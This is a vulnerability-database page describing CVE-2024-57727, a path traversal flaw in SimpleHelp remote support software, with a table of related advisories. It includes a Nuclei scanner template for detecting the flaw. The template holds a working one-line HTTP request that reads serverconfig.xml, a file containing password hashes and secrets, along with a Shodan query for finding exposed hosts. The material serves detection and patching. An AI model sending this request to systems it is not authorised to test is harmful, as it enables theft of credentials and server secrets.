SimpleHelp <= 5.5.7 - Unauthenticated Path Traversal
| Reporter | Title | Published | Views | Family All 40 |
|---|---|---|---|---|
 | Exploit for Path Traversal in Simple-Help Simplehelp | 17 Jan 202515:45 | – | githubexploit |
 | CVE-2024-57727 | 15 Jan 202500:00 | – | attackerkb |
 | SimpleHelp Remote Disclosure | 27 Jan 202500:00 | – | bdu_fstec |
 | CVE-2024-57727 | 15 Jan 202507:04 | – | circl |
 | SimpleHelp Path Traversal Vulnerability | 13 Feb 202500:00 | – | cisa_kev |
 | CISA Adds One Known Exploited Vulnerability to Catalog | 13 Feb 202512:00 | – | cisa |
| CISA Releases Cybersecurity Advisory on SimpleHelp RMM Vulnerability | 12 Jun 202512:00 | – | cisa |
 | SimpleHelp security vulnerabilities | 15 Jan 202500:00 | – | cnnvd |
 | CVE-2024-57727 | 15 Jan 202500:00 | – | cve |
 | CVE-2024-57727 | 15 Jan 202500:00 | – | cvelist |
10
id: CVE-2024-57727
info:
name: SimpleHelp <= 5.5.7 - Unauthenticated Path Traversal
author: iamnoooob,rootxharsh,pdresearch,3th1cyuk1
severity: high
description: |
SimpleHelp remote support software v5.5.7 and before is vulnerable to multiple path traversal vulnerabilities that enable unauthenticated remote attackers to download arbitrary files from the SimpleHelp host via crafted HTTP requests. These files include server configuration files containing various secrets and hashed user passwords.
impact: |
Unauthenticated attackers can exploit path traversal to download server configuration files containing secrets, hashed passwords, and other sensitive information.
remediation: |
Update SimpleHelp to version 5.5.8 or later to address the path traversal vulnerabilities.
reference:
- https://simple-help.com/kb---security-vulnerabilities-01-2025#security-vulnerabilities-in-simplehelp-5-5-7-and-earlier
- https://www.horizon3.ai/attack-research/disclosures/critical-vulnerabilities-in-simplehelp-remote-support-software/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-57727
cwe-id: CWE-22
epss-score: 0.96576
epss-percentile: 0.99884
cpe: cpe:2.3:a:simple-help:simplehelp:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: simple-help
product: simplehelp
shodan-query: html:"SimpleHelp"
tags: cve,cve2024,simplehelp,lfi,kev,vkev,vuln
http:
- raw:
- |
GET /toolbox-resource/../serverconfig.xml HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<SimpleSuite'
- '<HashPassword>'
condition: and
- type: word
part: content_type
words:
- 'application/octet-stream'
# digest: 4a0a004730450220090d614f7e150cbb13597eb1b186a367398987a3e96b0da5188a88648e98caeb022100b086aaf12cb0ea17ae970c24e9c1b608d814bbe91cdb67f6f018ccf394e13106:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Feb 2026 07:00Current
8.7High risk
Vulners AI Score8.7
CVSS 3.17.5 - 9.1
EPSS0.96576
SSVC